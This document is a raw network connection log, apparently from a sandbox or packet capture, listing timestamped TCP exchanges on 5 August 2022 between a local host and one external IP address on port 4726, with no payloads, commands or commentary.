Aug 5, 2022 11:37:30.642211914 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.736275911 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:30.769201994 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.860985994 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:30.861172915 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:30.954714060 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:30.956681967 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:31.048343897 CEST	4726	49856	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:31.112910032 CEST	49856	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.140358925 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.191539049 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.191795111 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.192270041 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.250268936 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.250653982 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.301964998 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.302159071 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.392036915 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.392239094 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.470094919 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.471292973 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.548472881 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.548831940 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.596520901 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.600236893 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.600492954 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.651679039 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.652200937 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.703753948 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.704103947 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.755769968 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.755961895 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.845225096 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.908730984 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:35.986129045 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:35.986323118 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:36.064007998 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:36.127363920 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:36.204658985 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:36.204886913 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:36.282767057 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:36.314800024 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:36.392194033 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:36.455578089 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:36.532643080 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:36.532792091 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:36.610733986 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:36.674302101 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:36.751537085 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:36.751766920 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:36.829691887 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:36.861671925 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:36.938987017 CEST	4726	49857	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:37.002405882 CEST	49857	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.031075954 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.082335949 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.082600117 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.082895041 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.141936064 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.142146111 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.220341921 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.220552921 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.272315979 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.272804976 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.360836983 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.361018896 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.439090967 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.454386950 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.532702923 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.552203894 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.552881002 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.604789019 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.605154037 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.689176083 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.689373016 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.741158009 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.741364956 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.792937040 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.793304920 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:41.876540899 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:41.922974110 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:42.002011061 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:42.002244949 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:42.079701900 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:42.110565901 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:42.189083099 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:42.251072884 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:42.329703093 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:42.329932928 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:42.407960892 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:42.469794989 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:42.548285007 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:42.548449993 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:42.626219988 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:42.657174110 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:42.735997915 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:42.751071930 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:42.829771042 CEST	4726	49858	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:42.907264948 CEST	49858	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.041100979 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.088382959 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.088572979 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.088927984 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.145174980 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.145482063 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.193363905 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.193641901 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.267273903 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.267479897 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.345141888 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.359215975 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.439343929 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.455851078 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.456527948 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.503823996 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.504148006 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.579672098 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.579884052 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.627391100 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.671513081 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.718756914 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.718837023 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.765396118 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.798510075 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.798804045 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.876501083 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:47.906029940 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:47.985789061 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:48.062604904 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:48.142096996 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:48.142319918 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:48.220345974 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:48.249804974 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:48.329766035 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:48.330122948 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:48.407648087 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:48.452862024 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:48.532701015 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:48.546504021 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:48.626643896 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:48.702811956 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:48.782752037 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:48.782972097 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:48.860847950 CEST	4726	49860	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:48.921451092 CEST	49860	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:52.948718071 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:52.997029066 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:52.997232914 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:52.997548103 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.053329945 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.053611994 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.102258921 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.102497101 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.189605951 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.189824104 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.267621994 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.267818928 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.345603943 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.378241062 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.378865004 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.426736116 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.427145004 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.501892090 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.502162933 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.550517082 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.592233896 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.623977900 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.640655041 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.685947895 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.705291986 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.705537081 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.783046007 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.811081886 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:53.892604113 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:53.951714039 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:54.033139944 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:54.033325911 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:54.111485958 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:54.170461893 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:54.252026081 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:54.252254009 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:54.330075026 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:54.357822895 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:54.439538002 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:54.451505899 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:54.533135891 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:54.607815981 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:54.689466000 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:54.689739943 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:37:54.767502069 CEST	4726	49861	188.127.230.176	192.168.11.20
Aug 5, 2022 11:37:54.826396942 CEST	49861	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:04.932151079 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:04.980082035 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:04.980336905 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:04.980731010 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.036839962 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.037189960 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.085501909 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.105465889 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.189299107 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.189506054 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.267340899 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.324186087 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.378328085 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.379084110 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.427423954 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.427936077 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.502012014 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.502203941 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.550607920 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.551001072 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.599324942 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.652185917 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.652318001 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.736190081 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.736449003 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.814555883 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.855186939 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:05.939366102 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:05.980216026 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:06.064320087 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:06.064476013 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:06.142425060 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:06.214513063 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:06.298701048 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:06.298899889 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:06.376632929 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:06.401937008 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:06.486145020 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:06.486329079 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:06.564192057 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:06.605048895 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:06.689470053 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:06.729940891 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:06.814412117 CEST	4726	49862	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:06.855124950 CEST	49862	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:10.882181883 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:10.929553986 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:10.929769993 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:10.930109024 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:10.983927965 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:10.984149933 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.063831091 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.064090967 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.111649990 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.119848967 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.204493046 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.204673052 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.282603979 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.307212114 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.392158985 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.393588066 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.394526005 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.442307949 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.442488909 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.517326117 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.517684937 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.565984011 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.566343069 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.614105940 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.619564056 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.704602957 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.775801897 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.860827923 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.861032009 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:11.938880920 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:11.963279009 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:12.048207998 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:12.103837013 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:12.188867092 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:12.189080954 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:12.266990900 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:12.322526932 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:12.407675982 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:12.407985926 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:12.485728025 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:12.509952068 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:12.595433950 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:12.650832891 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:12.713248968 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:12.735774994 CEST	4726	49863	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:12.736016989 CEST	49863	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:16.855616093 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:16.903280973 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:16.903496981 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:16.903783083 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:16.958314896 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:16.958681107 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.006683111 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.024704933 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.110697985 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.110838890 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.188843012 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.212132931 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.298830032 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.299751997 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.300611973 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.348285913 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.349170923 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.397123098 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.397317886 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.445260048 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.445610046 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.517071009 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.571399927 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.657608986 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.657813072 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.735826969 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.758825064 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.845114946 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.852552891 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:17.938728094 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.939491987 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:17.993109941 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:18.009097099 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:18.095213890 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:18.095407963 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:18.173269987 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:18.227655888 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:18.313836098 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:18.314073086 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:18.392138958 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:18.414879084 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:18.501524925 CEST	4726	49865	188.127.230.176	192.168.11.20
Aug 5, 2022 11:38:18.555630922 CEST	49865	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:38:18.642491102 CEST	4726	49865	188.127.230.176	192.168.11.20
